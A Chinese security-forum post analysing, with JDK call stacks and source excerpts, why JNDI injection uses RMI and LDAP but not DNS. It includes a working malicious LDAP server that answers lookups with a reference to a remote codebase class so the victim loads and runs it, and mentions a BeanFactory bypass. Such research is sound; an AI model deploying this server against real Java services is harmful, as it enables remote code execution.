对于jndi为什么使用rmi和ldap协议的思考
真爱和自由 发表于 四川 WEB安全 726浏览 · 2024-07-18 09:54

各种协议

现在已经知道了打jndi注入我们一般都使用的是RMI或者ldap反序列化,那这是为什么呢?下面我会一一调试分析一下,首先jndi支持的协议

  1. LDAP (Lightweight Directory Access Protocol)

    • 用于访问和管理分布式目录信息服务。
    • 例如:ldap://hostname:port/
  2. RMI (Remote Method Invocation)

    • 用于在不同Java虚拟机之间调用方法。
    • 例如:rmi://hostname:port/
  3. DNS (Domain Name System)

    • 用于解析域名。
    • 例如:dns://hostname/
  4. CORBA (Common Object Request Broker Architecture)

    • 用于在网络上进行对象请求。
    • 例如:iiop://hostname:port/
  5. HTTP (HyperText Transfer Protocol)

    • 用于通过HTTP协议进行访问。
    • 例如:http://hostname:port/
  6. File Protocol

    • 用于访问文件系统。
    • 例如:file:///path/to/file
  7. NIS (Network Information Service)

    • 用于访问网络信息服务(通常用于UNIX环境)。
    • 例如:nis://hostname/

RMI

测试代码

package xieyi;

import javax.naming.Context;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.naming.spi.NamingManager;
import java.util.Hashtable;

public class rmi {
    public static void main(String[] args) throws Exception{
        String url = "rmi://localhost:6666/Object";
        Hashtable<?,?> env = new Hashtable<>();
        Reference ref = new Reference(
                "com.example.xxx",//这里填什么不要紧
                new StringRefAddr("URL", url)
        );
        Object obj = NamingManager.getObjectInstance(ref, null, null, env);
    }

}

因为不同的协议对应着不同的工厂类

getURLObject:611, NamingManager (javax.naming.spi)
processURL:391, NamingManager (javax.naming.spi)
processURLAddrs:371, NamingManager (javax.naming.spi)
getObjectInstance:343, NamingManager (javax.naming.spi)
main:17, rmi (xieyi)

在getURLObject的时候会根据传入进来的url去寻找对应的工厂,比如这里的rmi

ObjectFactory factory = (ObjectFactory)ResourceManager.getFactory(
            Context.URL_PKG_PREFIXES, environment, nameCtx,
            "." + scheme + "." + scheme + "URLContextFactory", defaultPkgPrefix);

就是把schema和我们的URLContextFactory去拼接得到它的工厂

从这里也可以看到是支持这些工厂类的

然后接下来会进入这段代码

factory.getObjectInstance(urlInfo, name, nameCtx, environment);

不同的工厂类对应着不同的getObjectInstance方法

public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws NamingException {
        if (var1 == null) {
            return new rmiURLContext(var4);
        } else if (var1 instanceof String) {
            return getUsingURL((String)var1, var4);
        } else if (var1 instanceof String[]) {
            return getUsingURLs((String[])((String[])var1), var4);
        } else {
            throw new ConfigurationException("rmiURLContextFactory.getObjectInstance: argument must be an RMI URL String or an array of them");
        }
    }

会进入getUsingURL方法

private static Object getUsingURL(String var0, Hashtable<?, ?> var1) throws NamingException {
        rmiURLContext var2 = new rmiURLContext(var1);

        Object var3;
        try {
            var3 = var2.lookup(var0);
        } finally {
            var2.close();
        }

        return var3;
    }

跟进var3 = var2.lookup(var0);

来到GenericURLContext (com.sun.jndi.toolkit.url)的lookup方法

public Object lookup(String var1) throws NamingException {
        ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);
        Context var3 = (Context)var2.getResolvedObj();

        Object var4;
        try {
            var4 = var3.lookup(var2.getRemainingName());
        } finally {
            var3.close();
        }

        return var4;
    }

我们就会进入RegistryContext的lookup方法,这也是我们核心的触发漏洞点的地方

public Object lookup(Name var1) throws NamingException {
        if (var1.isEmpty()) {
            return new RegistryContext(this);
        } else {
            Remote var2;
            try {
                var2 = this.registry.lookup(var1.get(0));
            } catch (NotBoundException var4) {
                throw new NameNotFoundException(var1.get(0));
            } catch (RemoteException var5) {
                throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
            }

            return this.decodeObject(var2, var1.getPrefix(1));
        }
    }

重点在decodeObject方法

private Object decodeObject(Remote var1, Name var2) throws NamingException {
        try {
            Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
            Reference var8 = null;
            if (var3 instanceof Reference) {
                var8 = (Reference)var3;
            } else if (var3 instanceof Referenceable) {
                var8 = ((Referenceable)((Referenceable)var3)).getReference();
            }

            if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
                throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
            } else {
                return NamingManager.getObjectInstance(var3, var2, this, this.environment);
            }

接收远程引用对象,然后传入NamingManager.getObjectInstance,这也是我们最后的sink点了

又会去获取我们的工厂类,分为远程的和本地的,如果本地没有这个工厂,就会去远程获取,远程就会去加载远程的工厂类代码

对应的逻辑在getObjectFactoryFromReference(ref, f)方法中的

String codebase;
        if (clas == null &&
                (codebase = ref.getFactoryClassLocation()) != null) {
            try {
                clas = helper.loadClass(factoryName, codebase);
                // Validate factory's class with the objects factory serial filter
                if (clas == null ||
                    !ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)) {
                    return null;
                }
            } catch (ClassNotFoundException e) {
            }
        }

这里就是实例化远程代码,造成恶意利用,如果是本地呢,其实也是高版本绕过的一个思路,会继续调用本地工厂的getObjectInstance方法,我们只需要找到那个工厂能够恶意的利用就好了,比如我们BeanFactory

dns

我们分析一下这个

测试代码

package xieyi;



import javax.naming.Context;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.naming.spi.NamingManager;
import java.util.Hashtable;

public class dns {
    public static void main(String[] args) throws Exception{
        String url = "dns://b3ab7fce.log.dnslog.biz.";
        Hashtable<?,?> env = new Hashtable<>();
        Reference ref = new Reference(
                "com.example.xxx",
                new StringRefAddr("URL", url)
        );
        Object obj = NamingManager.getObjectInstance(ref, null, null, env);
    }

}

我们这里主要是分析不同的点好吧,还是一样的,它和前面的rmi一样的

lookup:170, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
getUsingURL:70, dnsURLContextFactory (com.sun.jndi.url.dns)
getObjectInstance:55, dnsURLContextFactory (com.sun.jndi.url.dns)
getURLObject:611, NamingManager (javax.naming.spi)
processURL:391, NamingManager (javax.naming.spi)
processURLAddrs:371, NamingManager (javax.naming.spi)
getObjectInstance:343, NamingManager (javax.naming.spi)
main:19, dns (xieyi)

注意到不同的点是rmi在经过lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)方法后来到的是RegistryContext#lookup这里不是,是直接来到PartialCompositeContext的lookup方法

而这个lookup方法并没有恶意利用的地方了,所以我们发现没有使用dns打jndi注入的,它的后续就是简简单单的dns解析罢了

LDAP

代码部分

客户端代码

package JNDI_LDAP;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAP_Client {
    public static void main(String[] args) throws NamingException {
        //指定RMI服务资源的标识
        String jndi_uri = "ldap://127.0.0.1:9999/Exp";
        //构建jndi上下文环境
        InitialContext initialContext = new InitialContext();
        //查找标识关联的RMI服务
        initialContext.lookup(jndi_uri);
    }
}

服务端代码

package JNDI_LDAP;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;


public class LDAP_Server {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] argsx) {
        String[] args = new String[]{"http://127.0.0.1:8000/#Exp", "9999"};
        int port = 0;
        if (args.length < 1 || args[0].indexOf('#') < 0) {
            System.err.println(LDAP_Server.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
        } else if (args.length > 1) {
            port = Integer.parseInt(args[1]);
        }

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }

        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

调试分析

我们还是一样从我们的客户端lookup那里开始分析
跟进来到

public Object lookup(String name) throws NamingException {
        return getURLOrDefaultInitCtx(name).lookup(name);
    }

跟进getURLOrDefaultInitCtx方法,此方法用于获取指定的URL上下文,或者如果没有指定URL, 则返回默认的初始化上下文。来到

protected Context getURLOrDefaultInitCtx(String name)
        throws NamingException {
        if (NamingManager.hasInitialContextFactoryBuilder()) {
            return getDefaultInitCtx();
        }
        String scheme = getURLScheme(name);
        if (scheme != null) {
            Context ctx = NamingManager.getURLContext(scheme, myProps);
            if (ctx != null) {
                return ctx;
            }
        }
        return getDefaultInitCtx();
    }

首先是获取shcheme,就是我们的ladp服务,然后通过getURLContext获取上下文,这个方法内部会先调用getURLObject,但是最后的结果是空

然后回到开始的地方,返回后调用它的lookup,来到ldapURLContext#lookup方法

public Object lookup(String var1) throws NamingException {
        if (LdapURL.hasQueryComponents(var1)) {
            throw new InvalidNameException(var1);
        } else {
            return super.lookup(var1);
        }
    }

调用父类GenericURLContext的方法

public Object lookup(String var1) throws NamingException {
        ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);
        Context var3 = (Context)var2.getResolvedObj();

        Object var4;
        try {
            var4 = var3.lookup(var2.getRemainingName());
        } finally {
            var3.close();
        }

        return var4;
    }

getRootURLContext内部就是解析我们的var1和env,然后返回一个ResolveResult对象

var3就是获取解析的resolvedObj

调用它的lookup方法
但是它没有会调用父类的这个方法,最后是调用PartialCompositeContext的lookup方法

public Object lookup(Name var1) throws NamingException {
        PartialCompositeContext var2 = this;
        Hashtable var3 = this.p_getEnvironment();
        Continuation var4 = new Continuation(var1, var3);
        Name var6 = var1;

        Object var5;
        try {
            for(var5 = var2.p_lookup(var6, var4); var4.isContinue(); var5 = var2.p_lookup(var6, var4)) {
                var6 = var4.getRemainingName();
                var2 = getPCContext(var4);
            }
        } catch (CannotProceedException var9) {
            Context var8 = NamingManager.getContinuationContext(var9);
            var5 = var8.lookup(var9.getRemainingName());
        }

        return var5;
    }

可以看到会调用var2也是自己的p_lookup方法

protected Object p_lookup(Name var1, Continuation var2) throws NamingException {
        Object var3 = null;
        HeadTail var4 = this.p_resolveIntermediate(var1, var2);
        switch (var4.getStatus()) {
            case 2:
                var3 = this.c_lookup(var4.getHead(), var2);
                if (var3 instanceof LinkRef) {
                    var2.setContinue(var3, var4.getHead(), this);
                    var3 = null;
                }
                break;
            case 3:
                var3 = this.c_lookup_nns(var4.getHead(), var2);
                if (var3 instanceof LinkRef) {
                    var2.setContinue(var3, var4.getHead(), this);
                    var3 = null;
                }
        }

        return var3;
    }

看这个调用栈![在这里插入图片描述]

会回到我们的ldap的这个c_lookup方法,然后来到

return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);

到这和我们上面RMI就是一样的了,获取我们对象的实例
会先根据

getObjectInstance(Object refInfo, Name name, Context nameCtx,
                          Hashtable<?,?> environment, Attributes attrs)
        throws Exception {

            ObjectFactory factory;

            ObjectFactoryBuilder builder = getObjectFactoryBuilder();
            if (builder != null) {
                // builder must return non-null factory
                factory = builder.createObjectFactory(refInfo, environment);
                if (factory instanceof DirObjectFactory) {
                    return ((DirObjectFactory)factory).getObjectInstance(
                        refInfo, name, nameCtx, environment, attrs);
                } else {
                    return factory.getObjectInstance(refInfo, name, nameCtx,
                        environment);
                }
            }

先看看我们有没有这个的builder,也就是有没有加载过它,如果我们没有加载过,那就

factory = getObjectFactoryFromReference(ref, f);

获取我们的地址,也就是ldap服务地址,然后加载我们的对象

clas = helper.loadClass(factoryName);

加载后就会触发远程恶意类弹出计算器

0 条评论
某人
表情
可输入 255
目录